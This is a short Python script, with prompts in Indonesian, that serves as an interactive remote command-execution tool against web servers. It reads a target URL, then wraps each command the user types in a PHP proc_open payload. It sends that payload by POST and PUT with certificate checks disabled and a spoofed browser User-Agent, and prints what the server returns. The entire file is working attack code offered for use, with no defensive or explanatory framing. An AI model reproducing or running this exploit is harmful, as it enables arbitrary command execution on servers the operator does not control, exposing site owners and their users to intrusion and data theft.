import requests
import sys
import urllib3
from colorama import Fore, Style, init

# Initialize colorama
init(autoreset=True)

# Colorama for colored terminal output
fr = Fore.RED
fg = Fore.GREEN
fw = Fore.WHITE
clear = Style.RESET_ALL

# Disable warnings
urllib3.disable_warnings()

# Define headers to be used in requests
headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
}

# Function to exploit site with given command
def exploit_site(url, command):
    try:
        # Prepare the payload with the user-defined command
        data = f"<?php $sp2b9876 = proc_open('{command}', array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'r')), $sp71a4e7); echo stream_get_contents($sp71a4e7[1]);?>"

        # Testing the payload with the specified URL
        methods = ["post", "get", "put"]
        for method in methods:
            try:
                if method == "post":
                    response = requests.post(
                        url=url,
                        data=data,
                        verify=False,
                        timeout=80,
                        allow_redirects=True,
                        headers=headers,
                    )
                elif method == "get":
                    response = requests.get(
                        url=url,
                        headers=headers,
                        verify=False,
                        timeout=80,
                        allow_redirects=True,
                    )
                elif method == "put":
                    response = requests.put(
                        url=url,
                        data=data,
                        verify=False,
                        timeout=80,
                        allow_redirects=True,
                        headers=headers,
                    )
 
                # Print relevant response
                if response.status_code == 200 and response.text.strip():
                    print(f"{fg}{response.text.strip()}{clear}")
                else:
                    print(f"{fr}No valid output for {method.upper()}{clear}")

            except requests.exceptions.RequestException as e:
                print(f"{fr}Error requesting {url} with {method.upper()} --> {str(e)}{clear}")

    except Exception as e:
        print(f"{fr}Dead --> {url} --> {str(e)} [No Response]{clear}")

# Main program starts here
if __name__ == "__main__":
    url = input("Masukkan URL : ")

    while True:
        command = input("Masukkan comanded: ")
        if command.lower() == 'exit':
            break  # Exit the loop if the user types 'exit'
        
        exploit_site(url, command)

    print(fr + "|---------------------------------------------------------|")
    print(fr + "|             " + fw + "DONE MASZEH" + fr + "                     |")
    print(fr + "|---------------------------------------------------------|")
